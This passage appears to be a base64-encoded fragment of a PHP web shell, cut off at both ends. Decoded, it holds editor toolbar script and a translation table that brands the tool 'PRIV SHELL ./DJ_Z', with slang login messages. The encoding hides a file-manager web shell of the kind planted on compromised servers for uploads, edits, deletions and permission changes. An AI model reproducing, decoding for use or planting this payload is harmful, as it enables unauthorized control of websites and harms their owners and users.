b24iOiJDb2xkRnVzaW9uIiwiY3NoYXJwIjoiQyMiLCJjc291bmRfZG9jdW1lbnQiOiJDc291bmQgRG9jdW1lbnQiLCJjc291bmRfb3JjaGVzdHJhIjoiQ3NvdW5kIiwiY3NvdW5kX3Njb3JlIjoiQ3NvdW5kIFNjb3JlIiwiY3NzIjoiQ1NTIiwiY3VybHkiOiJDdXJseSIsImQiOiJEIiwiZGFydCI6IkRhcnQiLCJkaWZmIjoiRGlmZiIsImRvY2tlcmZpbGUiOiJEb2NrZXJmaWxlIiwiZG90IjoiRG90IiwiZHJvb2xzIjoiRHJvb2xzIiwiZWRpZmFjdCI6IkVkaWZhY3QiLCJlaWZmZWwiOiJFaWZmZWwiLCJlanMiOiJFSlMiLCJlbGl4aXIiOiJFbGl4aXIiLCJlbG0iOiJFbG0iLCJlcmxhbmciOiJFcmxhbmciLCJmb3J0aCI6IkZvcnRoIiwiZm9ydHJhbiI6IkZvcnRyYW4iLCJmc2hhcnAiOiJGU2hhcnAiLCJmc2wiOiJGU0wiLCJmdGwiOiJGcmVlTWFya2VyIiwiZ2NvZGUiOiJHY29kZSIsImdoZXJraW4iOiJHaGVya2luIiwiZ2l0aWdub3JlIjoiR2l0aWdub3JlIiwiZ2xzbCI6Ikdsc2wiLCJnb2JzdG9uZXMiOiJHb2JzdG9uZXMiLCJnb2xhbmciOiJHbyIsImdyYXBocWxzY2hlbWEiOiJHcmFwaFFMU2NoZW1hIiwiZ3Jvb3Z5IjoiR3Jvb3Z5IiwiaGFtbCI6IkhBTUwiLCJoYW5kbGViYXJzIjoiSGFuZGxlYmFycyIsImhhc2tlbGwiOiJIYXNrZWxsIiwiaGFza2VsbF9jYWJhbCI6Ikhhc2tlbGwgQ2FiYWwiLCJoYXhlIjoiaGFYZSIsImhqc29uIjoiSGpzb24iLCJodG1sIjoiSFRNTCIsImh0bWxfZWxpeGlyIjoiSFRNTCAoRWxpeGlyKSIsImh0bWxfcnVieSI6IkhUTUwgKFJ1YnkpIiwiaW5pIjoiSU5JIiwiaW8iOiJJbyIsImphY2siOiJKYWNrIiwiamFkZSI6IkphZGUiLCJqYXZhIjoiSmF2YSIsImpzb24iOiJKU09OIiwianNvbmlxIjoiSlNPTmlxIiwianNwIjoiSlNQIiwianNzbSI6IkpTU00iLCJqc3giOiJKU1giLCJqdWxpYSI6Ikp1bGlhIiwia290bGluIjoiS290bGluIiwibGF0ZXgiOiJMYVRlWCIsImxlc3MiOiJMRVNTIiwibGlxdWlkIjoiTGlxdWlkIiwibGlzcCI6Ikxpc3AiLCJsaXZlc2NyaXB0IjoiTGl2ZVNjcmlwdCIsImxvZ2lxbCI6IkxvZ2lRTCIsImxzbCI6IkxTTCIsImx1YSI6Ikx1YSIsImx1YXBhZ2UiOiJMdWFQYWdlIiwibHVjZW5lIjoiTHVjZW5lIiwibWFrZWZpbGUiOiJNYWtlZmlsZSIsIm1hcmtkb3duIjoiTWFya2Rvd24iLCJtYXNrIjoiTWFzayIsIm1hdGxhYiI6Ik1BVExBQiIsIm1hemUiOiJNYXplIiwibWVsIjoiTUVMIiwibWl4YWwiOiJNSVhBTCIsIm11c2hjb2RlIjoiTVVTSENvZGUiLCJteXNxbCI6Ik15U1FMIiwibml4IjoiTml4IiwibnNpcyI6Ik5TSVMiLCJvYmplY3RpdmVjIjoiT2JqZWN0aXZlLUMiLCJvY2FtbCI6Ik9DYW1sIiwicGFzY2FsIjoiUGFzY2FsIiwicGVybCI6IlBlcmwiLCJwZXJsNiI6IlBlcmwgNiIsInBnc3FsIjoicGdTUUwiLCJwaHBfbGFyYXZlbF9ibGFkZSI6IlBIUCAoQmxhZGUgVGVtcGxhdGUpIiwicGhwIjoiUEhQIiwicHVwcGV0IjoiUHVwcGV0IiwicGlnIjoiUGlnIiwicG93ZXJzaGVsbCI6IlBvd2Vyc2hlbGwiLCJwcmFhdCI6IlByYWF0IiwicHJvbG9nIjoiUHJvbG9nIiwicHJvcGVydGllcyI6IlByb3BlcnRpZXMiLCJwcm90b2J1ZiI6IlByb3RvYnVmIiwicHl0aG9uIjoiUHl0aG9uIiwiciI6IlIiLCJyYXpvciI6IlJhem9yIiwicmRvYyI6IlJEb2MiLCJyZWQiOiJSZWQiLCJyaHRtbCI6IlJIVE1MIiwicnN0IjoiUlNUIiwicnVieSI6IlJ1YnkiLCJydXN0IjoiUnVzdCIsInNhc3MiOiJTQVNTIiwic2NhZCI6IlNDQUQiLCJzY2FsYSI6IlNjYWxhIiwic2NoZW1lIjoiU2NoZW1lIiwic2NzcyI6IlNDU1MiLCJzaCI6IlNIIiwic2pzIjoiU0pTIiwic2xpbSI6IlNsaW0iLCJzbWFydHkiOiJTbWFydHkiLCJzbmlwcGV0cyI6InNuaXBwZXRzIiwic295X3RlbXBsYXRlIjoiU295IFRlbXBsYXRlIiwic3BhY2UiOiJTcGFjZSIsInNxbCI6IlNRTCIsInNxbHNlcnZlciI6IlNRTFNlcnZlciIsInN0eWx1cyI6IlN0eWx1cyIsInN2ZyI6IlNWRyIsInN3aWZ0IjoiU3dpZnQiLCJ0Y2wiOiJUY2wiLCJ0ZXJyYWZvcm0iOiJUZXJyYWZvcm0iLCJ0ZXgiOiJUZXgiLCJ0ZXh0IjoiVGV4dCIsInRleHRpbGUiOiJUZXh0aWxlIiwidG9tbCI6IlRvbWwiLCJ0c3giOiJUU1giLCJ0d2lnIjoiVHdpZyIsInR5cGVzY3JpcHQiOiJUeXBlc2NyaXB0IiwidmFsYSI6IlZhbGEiLCJ2YnNjcmlwdCI6IlZCU2NyaXB0IiwidmVsb2NpdHkiOiJWZWxvY2l0eSIsInZlcmlsb2ciOiJWZXJpbG9nIiwidmhkbCI6IlZIREwiLCJ2aXN1YWxmb3JjZSI6IlZpc3VhbGZvcmNlIiwid29sbG9rIjoiV29sbG9rIiwieG1sIjoiWE1MIiwieHF1ZXJ5IjoiWFF1ZXJ5IiwieWFtbCI6IllBTUwiLCJkamFuZ28iOiJEamFuZ28ifSwiZm9udFNpemUiOns4OjgsMTA6MTAsMTE6MTEsMTI6MTIsMTM6MTMsMTQ6MTQsMTU6MTUsMTY6MTYsMTc6MTcsMTg6MTgsMjA6MjAsMjI6MjIsMjQ6MjQsMjY6MjYsMzA6MzB9fTsNCiAgICAgICAgICAgIGlmKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHsgJG1vZGVFbC5odG1sKG9wdGlvbk5vZGUoImFjZS9tb2RlLyIsIF9kYXRhLmFjZU1vZGUpKTsgfQ0KICAgICAgICAgICAgaWYoX2RhdGEgJiYgX2RhdGEuYWNlVGhlbWUpIHsgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKCJhY2UvdGhlbWUvIiwgX2RhdGEuYWNlVGhlbWUuYnJpZ2h0KSwgZGFya1RoZW1lID0gb3B0aW9uTm9kZSgiYWNlL3RoZW1lLyIsIF9kYXRhLmFjZVRoZW1lLmRhcmspOyAkdGhlbWVFbC5odG1sKCI8b3B0Z3JvdXAgbGFiZWw9XCJCcmlnaHRcIj4iK2xpZ2h0VGhlbWUrIjwvb3B0Z3JvdXA+PG9wdGdyb3VwIGxhYmVsPVwiRGFya1wiPiIrZGFya1RoZW1lKyI8L29wdGdyb3VwPiIpO30NCiAgICAgICAgICAgIGlmKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7ICRmb250U2l6ZUVsLmh0bWwob3B0aW9uTm9kZSgiIiwgX2RhdGEuZm9udFNpemUpKTsgfQ0KICAgICAgICAgICAgJG1vZGVFbC52YWwoIGVkaXRvci5nZXRTZXNzaW9uKCkuJG1vZGVJZCApOw0KICAgICAgICAgICAgJHRoZW1lRWwudmFsKCBlZGl0b3IuZ2V0VGhlbWUoKSApOw0KICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTsgLy9zZXQgZGVmYXVsdCBmb250IHNpemUgaW4gZHJvcCBkb3duDQogICAgICAgIH0NCg0KICAgICAgICAkKGZ1bmN0aW9uKCl7DQogICAgICAgICAgICByZW5kZXJUaGVtZU1vZGUoKTsNCiAgICAgICAgICAgICQoIi5qcy1hY2UtdG9vbGJhciIpLm9uKCJjbGljayIsICdidXR0b24nLCBmdW5jdGlvbihlKXsNCiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKCJkYXRhLWNtZCIpLCBlZGl0b3JPcHRpb24gPSAkKHRoaXMpLmF0dHIoImRhdGEtb3B0aW9uIik7DQogICAgICAgICAgICAgICAgaWYoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gIm5vbmUiKSB7DQogICAgICAgICAgICAgICAgICAgIGFjZV9jb21tZW5kKGNtZFZhbHVlKTsNCiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoZWRpdG9yT3B0aW9uKSB7DQogICAgICAgICAgICAgICAgICAgIGlmKGVkaXRvck9wdGlvbiA9PSAiZnVsbHNjcmVlbiIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICh2b2lkIDAhPT1kb2N1bWVudC5mdWxsU2NyZWVuRWxlbWVudCYmbnVsbD09PWRvY3VtZW50LmZ1bGxTY3JlZW5FbGVtZW50fHx2b2lkIDAhPT1kb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50JiZudWxsPT09ZG9jdW1lbnQubXNGdWxsc2NyZWVuRWxlbWVudHx8dm9pZCAwIT09ZG9jdW1lbnQubW96RnVsbFNjcmVlbiYmIWRvY3VtZW50Lm1vekZ1bGxTY3JlZW58fHZvaWQgMCE9PWRvY3VtZW50LndlYmtpdElzRnVsbFNjcmVlbiYmIWRvY3VtZW50LndlYmtpdElzRnVsbFNjcmVlbikNCiAgICAgICAgICAgICAgICAgICAgICAgICYmKGVkaXRvci5jb250YWluZXIucmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpOmVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbigpOmVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci53ZWJraXRSZXF1ZXN0RnVsbFNjcmVlbihFbGVtZW50LkFMTE9XX0tFWUJPQVJEX0lOUFVUKTplZGl0b3IuY29udGFpbmVyLm1zUmVxdWVzdEZ1bGxzY3JlZW4mJmVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmKGVkaXRvck9wdGlvbiA9PSAid3JhcCIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB3cmFwU3RhdHVzID0gKGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VXNlV3JhcE1vZGUoKSkgPyBmYWxzZSA6IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAkKCJzZWxlY3QjanMtYWNlLW1vZGUsIHNlbGVjdCNqcy1hY2UtdGhlbWUsIHNlbGVjdCNqcy1hY2UtZm9udFNpemUiKS5vbigiY2hhbmdlIiwgZnVuY3Rpb24oZSl7DQogICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgICAgIGxldCBzZWxlY3RlZFZhbHVlID0gJCh0aGlzKS52YWwoKSwgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cigiZGF0YS10eXBlIik7DQogICAgICAgICAgICAgICAgaWYoc2VsZWN0ZWRWYWx1ZSAmJiBzZWxlY3Rpb25UeXBlID09ICJtb2RlIikgew0KICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIGlmKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSAidGhlbWUiKSB7DQogICAgICAgICAgICAgICAgICAgIGVkaXRvci5zZXRUaGVtZShzZWxlY3RlZFZhbHVlKTsNCiAgICAgICAgICAgICAgICB9ZWxzZSBpZihzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gImZvbnRTaXplIikgew0KICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9KTsNCiAgICA8L3NjcmlwdD4NCjw/cGhwIGVuZGlmOyA/Pg0KPGRpdiBpZD0ic25hY2tiYXIiPjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHANCn0NCg0KLyoqDQogKiBMYW5ndWFnZSBUcmFuc2xhdGlvbiBTeXN0ZW0NCiAqIEBwYXJhbSBzdHJpbmcgJHR4dA0KICogQHJldHVybiBzdHJpbmcNCiAqLw0KZnVuY3Rpb24gbG5nKCR0eHQpIHsNCiAgICBnbG9iYWwgJGxhbmc7DQoNCiAgICAvLyBFbmdsaXNoIExhbmd1YWdlDQogICAgJHRyWydlbiddWydBcHBOYW1lJ10gICAgICAgID0gJ1BSSVYgU0hFTEwgLi9ESl9aJzsgICAgICAkdHJbJ2VuJ11bJ0FwcFRpdGxlJ10gICAgICAgICAgID0gJ0ZpbGUgTWFuYWdlcic7DQogICAgJHRyWydlbiddWydMb2dpbiddICAgICAgICAgID0gJ1NpZ24gaW4nOyAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1VzZXJuYW1lJ10gICAgICAgICAgID0gJ1VzZXJuYW1lJzsNCiAgICAkdHJbJ2VuJ11bJ1Bhc3N3b3JkJ10gICAgICAgPSAnUGFzc3dvcmQnOyAgICAgICAgICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICAgICAgPSAnU2lnbiBPdXQnOw0KICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgICAgICA9ICdDb3B5JzsNCiAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICAgICAgPSAnU2VsZWN0IGFsbCc7DQogICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7ICAgICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUnXSAgICAgICAgICAgICAgID0gJ0ZpbGUnOw0KICAgICR0clsnZW4nXVsnQmFjayddICAgICAgICAgICA9ICdCYWNrJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTaXplJ10gICAgICAgICAgICAgICA9ICdTaXplJzsNCiAgICAkdHJbJ2VuJ11bJ1Blcm1zJ10gICAgICAgICAgPSAnUGVybXMnOyAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICAgICAgPSAnTW9kaWZpZWQnOw0KICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7ICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTZWFyY2gnXSAgICAgICAgICAgICA9ICdTZWFyY2gnOw0KICAgICR0clsnZW4nXVsnTmV3SXRlbSddICAgICAgICA9ICdOZXcgSXRlbSc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydGb2xkZXInXSAgICAgICAgICAgICA9ICdGb2xkZXInOw0KICAgICR0clsnZW4nXVsnRGVsZXRlJ10gICAgICAgICA9ICdEZWxldGUnOyAgICAgICAgICAgICAgICAgJHRyWydlbiddWydSZW5hbWUnXSAgICAgICAgICAgICA9ICdSZW5hbWUnOw0KICAgICR0clsnZW4nXVsnQ29weVRvJ10gICAgICAgICA9ICdDb3B5IHRvJzsgICAgICAgICAgICAgICAgJHRyWydlbiddWydEaXJlY3RMaW5rJ10gICAgICAgICA9ICdEaXJlY3QgbGluayc7DQogICAgJHRyWydlbiddWydVcGxvYWRpbmdGaWxlcyddID0gJ1VwbG9hZCBGaWxlcyc7ICAgICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7DQogICAgJHRyWydlbiddWydDb3B5aW5nJ10gICAgICAgID0gJ0NvcHlpbmcnOyAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5ld0l0ZW0nXSAgICAgID0gJ0NyZWF0ZSBOZXcgSXRlbSc7DQogICAgJHRyWydlbiddWydOYW1lJ10gICAgICAgICAgID0gJ05hbWUnOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkRWRpdG9yJ10gICAgID0gJ0FkdmFuY2VkIEVkaXRvcic7DQogICAgJHRyWydlbiddWydBY3Rpb25zJ10gICAgICAgID0gJ0FjdGlvbnMnOyAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciBpcyBlbXB0eSddICAgID0gJ0ZvbGRlciBpcyBlbXB0eSc7DQogICAgJHRyWydlbiddWydVcGxvYWQnXSAgICAgICAgID0gJ1VwbG9hZCc7ICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0NhbmNlbCddICAgICAgICAgICAgID0gJ0NhbmNlbCc7DQogICAgJHRyWydlbiddWydJbnZlcnRTZWxlY3Rpb24nXT0gJ0ludmVydCBTZWxlY3Rpb24nOyAgICAgICAkdHJbJ2VuJ11bJ0Rlc3RpbmF0aW9uRm9sZGVyJ10gID0gJ0Rlc3RpbmF0aW9uIEZvbGRlcic7DQogICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7ICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0l0ZW1OYW1lJ10gICAgICAgICAgID0gJ0l0ZW0gTmFtZSc7DQogICAgJHRyWydlbiddWydDcmVhdGVOb3cnXSAgICAgID0gJ0NyZWF0ZSBOb3cnOyAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0Rvd25sb2FkJ10gICAgICAgICAgID0gJ0Rvd25sb2FkJzsNCiAgICAkdHJbJ2VuJ11bJ09wZW4nXSAgICAgICAgICAgPSAnT3Blbic7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnVW5aaXAnXSAgICAgICAgICAgICAgPSAnVW5aaXAnOw0KICAgICR0clsnZW4nXVsnVW5aaXBUb0ZvbGRlciddICA9ICdVblppcCB0byBmb2xkZXInOyAgICAgICAgJHRyWydlbiddWydFZGl0J10gICAgICAgICAgICAgICA9ICdFZGl0JzsNCiAgICAkdHJbJ2VuJ11bJ05vcm1hbEVkaXRvciddICAgPSAnTm9ybWFsIEVkaXRvcic7ICAgICAgICAgICR0clsnZW4nXVsnQmFja1VwJ10gICAgICAgICAgICAgPSAnQmFjayBVcCc7DQogICAgJHRyWydlbiddWydTb3VyY2VGb2xkZXInXSAgID0gJ1NvdXJjZSBGb2xkZXInOyAgICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGVzJ10gICAgICAgICAgICAgID0gJ0ZpbGVzJzsNCiAgICAkdHJbJ2VuJ11bJ01vdmUnXSAgICAgICAgICAgPSAnTW92ZSc7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ2hhbmdlJ10gICAgICAgICAgICAgPSAnQ2hhbmdlJzsNCiAgICAkdHJbJ2VuJ11bJ1NldHRpbmdzJ10gICAgICAgPSAnU2V0dGluZ3MnOyAgICAgICAgICAgICAgICR0clsnZW4nXVsnTGFuZ3VhZ2UnXSAgICAgICAgICAgPSAnTGFuZ3VhZ2UnOyAgICAgICAgDQogICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7ICAgICAgICAkdHJbJ2VuJ11bJ1Nob3dIaWRkZW5GaWxlcyddICAgID0gJ1Nob3cgSGlkZGVuIEZpbGVzJzsNCiAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICAgICAgPSAnQ3JlYXRlZCc7DQogICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJzsgICAgICAgICAkdHJbJ2VuJ11bJ1JlcG9ydCBJc3N1ZSddICAgICAgID0gJ1JlcG9ydCBJc3N1ZSc7DQogICAgJHRyWydlbiddWydHZW5lcmF0ZSddICAgICAgID0gJ0dlbmVyYXRlJzsgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0Z1bGxTaXplJ10gICAgICAgICAgID0gJ0Z1bGwgU2l6ZSc7ICAgICAgICAgICAgICANCiAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtcy9Pd25lciBjb2x1bW5zJzskdHJbJ2VuJ11bJ0xvZ2luIFN1a3NlcyBCcmVlISddID0gJ0xvZ2luIFN1a3NlcyBCcmVlISc7DQogICAgJHRyWydlbiddWydOb3RoaW5nIHNlbGVjdGVkJ10gICA9ICdOb3RoaW5nIHNlbGVjdGVkJzsgICAkdHJbJ2VuJ11bJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJ10gICAgPSAnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnOw0KICAgICR0clsnZW4nXVsnUmVuYW1lZCBmcm9tJ10gICAgICAgPSAnUmVuYW1lZCBmcm9tJzsgICAgICAgJHRyWydlbiddWydBcmNoaXZlIG5vdCB1bnBhY2tlZCddICAgICAgID0gJ0FyY2hpdmUgbm90IHVucGFja2VkJzsNCiAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnOyAgICAgICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSBub3QgY3JlYXRlZCddICAgICAgICA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJzsNCiAgICAkdHJbJ2VuJ11bJ0NvcGllZCBmcm9tJ10gICAgICAgID0gJ0NvcGllZCBmcm9tJzsgICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddICAgICAgICA9ICdQZXJtaXNzaW9ucyBjaGFuZ2VkJzsNCiAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJzsgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgICAgICA9ICdTYXZlZCBTdWNjZXNzZnVsbHknOw0KICAgICR0clsnZW4nXVsnbm90IGZvdW5kISddICAgICAgICAgPSAnbm90IGZvdW5kISc7ICAgICAgICAgJHRyWydlbiddWydGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseSddICAgID0gJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JzsNCiAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnOyAgICAgICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnXSAgICA9ICdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCc7DQogICAgJHRyWydlbiddWydTZWxlY3QgZm9sZGVyJ10gICAgICA9ICdTZWxlY3QgZm9sZGVyJzsgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnOw0KICAgICR0clsnZW4nXVsnYWxyZWFkeSBleGlzdHMnXSAgICAgPSAnYWxyZWFkeSBleGlzdHMnOyAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJzsNCiAgICAkdHJbJ2VuJ11bJ0NyZWF0ZSBhcmNoaXZlPyddICAgID0gJ0NyZWF0ZSBhcmNoaXZlPyc7ICAgICR0clsnZW4nXVsnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJ10gICAgPSAnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJzsNCiAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgdW5wYWNrZWQnXSAgID0gJ0FyY2hpdmUgdW5wYWNrZWQnOyAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnOw0KICAgICR0clsnZW4nXVsnUm9vdCBwYXRoJ10gICAgICAgICAgPSAnUm9vdCBwYXRoJzsgICAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJ10gID0gJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nOw0KICAgICR0clsnZW4nXVsnRmlsZSBNYW5hIEZpbGU/PyddICAgICA9ICdGaWxlIE1hbmEgRmlsZT8/JzsgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7DQogICAgJHRyWydlbiddWydNb3ZlZCBmcm9tJ10gICAgICAgICA9ICdNb3ZlZCBmcm9tJzsgICAgICAgICAkdHJbJ2VuJ11bJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJ10gPSAnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnOw0KICAgICR0clsnZW4nXVsndXNlcm5hbWUgYW5kIHBhc3N3b3JkIGludmFsaWQgY3V5aCEnXSA9ICd1c2VybmFtZSBhbmQgcGFzc3dvcmQgaW52YWxpZCBjdXloISc7DQogICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nOw0KICAgICR0clsnZW4nXVsnQWR2YW5jZWQgU2VhcmNoJ10gICAgPSAnQWR2YW5jZWQgU2VhcmNoJzsgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20nXSAgICA9ICdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20nOw0KICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSddICAgICAgICAgICAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG5hbWUnOw0KICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSEFTIE5PVCBTVVBQT1JURUQnXSAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIEhBUyBOT1QgU1VQUE9SVEVEJzsNCiAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnOw0KICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJ10gICAgICAgICAgICAgID0gJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyc7DQogICAgJHRyWydlbiddWydEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/J10gICAgICAgICAgICAgPSAnRGVsZXRlIHNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzPyc7DQogICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJzsNCiAgICAkdHJbJ2VuJ11bJ0FjY2VzcyBkZW5pZWQuIElQIHJlc3RyaWN0aW9uIGFwcGxpY2FibGUnXSAgICAgICA9ICdBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJzsNCiAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJ10gICAgICA9ICdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZSc7DQogICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJzsNCiAgICAkdHJbJ2VuJ11bJ0ZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhp